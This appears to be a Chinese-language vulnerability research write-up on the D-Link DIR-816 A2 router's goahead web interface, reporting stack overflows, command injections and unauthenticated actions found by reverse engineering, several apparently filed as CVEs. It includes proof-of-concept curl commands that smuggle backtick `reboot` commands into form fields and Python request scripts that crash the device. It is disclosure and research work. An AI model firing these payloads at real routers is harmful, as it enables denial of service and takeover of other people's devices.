D-Link Dir-816 A2路由器漏洞分析
笔者在研究D-Link Dir-816 A2时发现了许多漏洞(挖到的漏洞均已提交cve,除了已经披露的),这里笔者仅写poc,exp可能会额外的写
D-Link Dir-816 A2路由器漏洞分析
固件下载及提取文件
固件下载地址:https://tsd.dlink.com.tw/ddgo
筛选到Firmware: DIR-816_A2_FW_v1.10 (for DCN)
即可。将下载的img到这个网址去解包就行,然后解包所有文件下载,之后tar解压出来即可看到文件系统。
1 | 10:57:35 z1r0@z1r0deMacBook-Pro.local squashfs-root l |
goahead main程序分析
使用nmap扫描可以发现在80端口上运行着goahead服务,goahead
自身实现了一个 web
服务器所需提供的基本功能,用户可以根据自身接口开发出各种各样的功能。所以我们分析的重点不是goahead
本身的代码,而是用户自定义的那些代码。
1 | 10:57:36 z1r0@z1r0deMacBook-Pro.local squashfs-root find . -name goahead |
find搜索之后发现在bin目录下,checksec之后发现是mips-32-little
的程序,并且保护全关
1 | Arch: mips-32-little |
将它放入ida中进行逆向分析
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
初步分析之后155行之前都是初始化的一个过程,goahead启动是否成功,设置网页根目录
、设置网页默认页
、密码为空
等一系列初始化过程。
在主页登陆抓一个包可以看到是POST /goform/formLogin
请求,所以我们在研究的时候需要着重研究goform这些用户自定义函数。
1 | POST /goform/formLogin HTTP/1.1 |
使用websUrlHandlerDefine
来监听url请求,定义了安全性处理程序,表单处理程序,默认网页处理程序。
1 | websUrlHandlerDefine("", 0, 0, websSecurityHandler);// 定义安全性处理程序,表单处理程序,默认网页处理程序 |
当监听到url中请求了/goform时,例如:http://192.168.0.1/goform/setSysAdm
则使用websFormHandler
先进行理,再到setSysAdm用户自定义的的函数中进行处理。websFormHandler
的函数处理如下
1 | int websFormHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, |
其中wp里面包含了用户请求的相关信息,如请求头, 请求数据等。开发者通过 wp
这个参数就能获取到用户请求的信息。
第160行开始就是自定义函数了,我们重点看websFormDefine这一类的函数就可以了
formDefineInternet
在formDefineInternet
这里找到了很多的漏洞点。
addassignment
在这个函数中发现了栈溢出漏洞,并验证成功。
1 | int __fastcall addassignment(int a1) |
可以看到用户可以传送s_mac和s_ip,并在下面使用strcat进行拼接放入v10,值得一提的是并没有进行大小限制,所以这里存在一个栈溢出漏洞。
1 | curl http://192.168.0.1/dir_login.asp | grep tokenid |
先拿到tokenid
1 | 15:59:06 z1r0@z1r0deMacBook-Pro.local iot curl http://192.168.0.1/dir_login.asp | grep tokenid |
接下来我们使用如下poc进行验证
1 | import requests |
成功利用,最后可以写exp来达到稳定获取root shell。这里笔者不演示如何getshell,只对路由器进行漏洞分析,可能下一个文章会写如何获取shell。
editassignment
此函数也存在和上面一样的漏洞
1 | strcat(v17, s_mac); |
在第71行进行拼接的时候发现没有进行size验证,导致栈溢出。以下poc验证
1 | import requests |
form2Wan.cgi
When wantype is 3, l2tp_usrname will be decrypted by base64, and the result will be stored in v94, which does not check the size of l2tp_usrname, resulting in stack overflow
如下poc即可crash
1 | import requests |
setMac
1 | int __fastcall setMAC(int a1) |
对这个功能请求的时候无论如何都会执行到initInternet这个函数,也就造成了无认证即可对路由器进行网络初始化。如下poc可以进行验证
1 | curl -i -X POST http://192.168.0.1/goform/setMAC -d tokenid=xxxx |
addRouting
这个函数的漏洞还是很明显的。
hostnet填入net进入stract(v14, dest)这里,会将dest拼接到v14后面,这里并没有对大小进行验证,所以存在栈溢出漏洞。
构造以下poc即可使得路由器crash
1 | import requests |
setNetworkLan
通过strncpy函数将lanip放入v4,接着使用strcpy将v4拷贝到v6和v5中,其中并没有限制大小,存在栈溢出漏洞。
构造以下poc即可使得路由器crash
1 | import requests |
form2Dhcpip.cgi
将lan_assignment设置为add,会有strcat将nvmacaddr和ipaddr拼接到v21后,这里并没有大小验证,存在栈溢出漏洞。
构造如下poc即可crash
1 | import requests |
formDefineUtilities
form2Reboot.cgi
The reboot value is 1 to execute the reboot statement
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/form2Reboot.cgi -d tokenid=xxxxx -d 'reboot=1' |
doReboot
No authentication is required, and reboot is executed when the function returns at the end
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/doReboot -d tokenid=xxxx |
form_define_ip_control
form2IPQoSTcAdd
通过proto参数传送的内容最后会通过sprintf给到v11,其中并没有大小检查,存在栈溢出漏洞。
如下poc即可crash
1 | import requests |
formDefineFirewall
websHostFilter
通过addhostfilter参数得到的内容赋值给了v4,并利用strcat函数将v4的值拼接到v7后面,并没有检查大小,导致栈溢出。
如下poc即可crash
1 | import requests |
websURLFilter
和上一个一样,poc如下即可crash
1 | import requests |
websURLFilterAddDel
urladd会赋值给v9,最利用strcat函数拼接到v10后面,这里并没有对大小进行检查,存在栈溢出漏洞。
如下poc即可crash
1 | import requests |
formDefineManagement
form2userconfig.cgi
username and newpass are brought into the dosystem function after base64 decryption, so there is a command injection vulnerability
poc如下即可达成reboot
1 | POST /goform/form2userconfig.cgi HTTP/1.1 |
setSysAdm
admuser会直接传入到dosystem这里,导致命令注入漏洞的发生。
如下poc即可reboot
1 | import requests |
form2systime.cgi
the Command injection vulnerability only needs to be met by datetime -:
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=xxxxx -d 'datetime=`reboot`-:' |
NTPSyncWithHost
Directly pass in the parameters to execute the command
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/NTPSyncWithHost -d tokenid=xxxxx -d '`reboot`' |
DDNS
The password is assigned to v7, and the v7 base64 will be stored in v11 after decryption, but the size of the password is not checked here, resulting in stack overflow
如下poc即可crash
1 | import requests |
formLogin
After the username and password are decrypted by base64, they will be stored in the stack of the program without checking the size, resulting in a stack overflow vulnerability.
如下poc即可crash
1 | import requests |
SystemCommand
After the user passes in the command parameter, it will be spliced into byte_4836B0 by snprintf, and finally doSystem(&byte_4836B0); will be executed, resulting in a command injection vulnerability
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/SystemCommand -d tokenid=xxxx -d 'command=`reboot`' |
LoadDefaultSettings
system(“reboot”); will be executed anyway
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/LoadDefaultSettings -d tokenid=xxxx |
Diagnosis
After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability
如下poc即可reboot
1 | curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=xxxx -d 'pingAddr=192.168.0.1' -d 'sendNum=`reboot`' |
wizard_end
Initialize the network without authentication
如下poc即可
1 | curl -i -X POST http://192.168.0.1/goform/wizard_end -d tokenid=xxxx |
至此,该型号路由器二进制层面的漏洞笔者已经分析完成
小结
拿下9个cve,学习到了mips漏洞利用,路由器漏洞挖掘,uart串口调试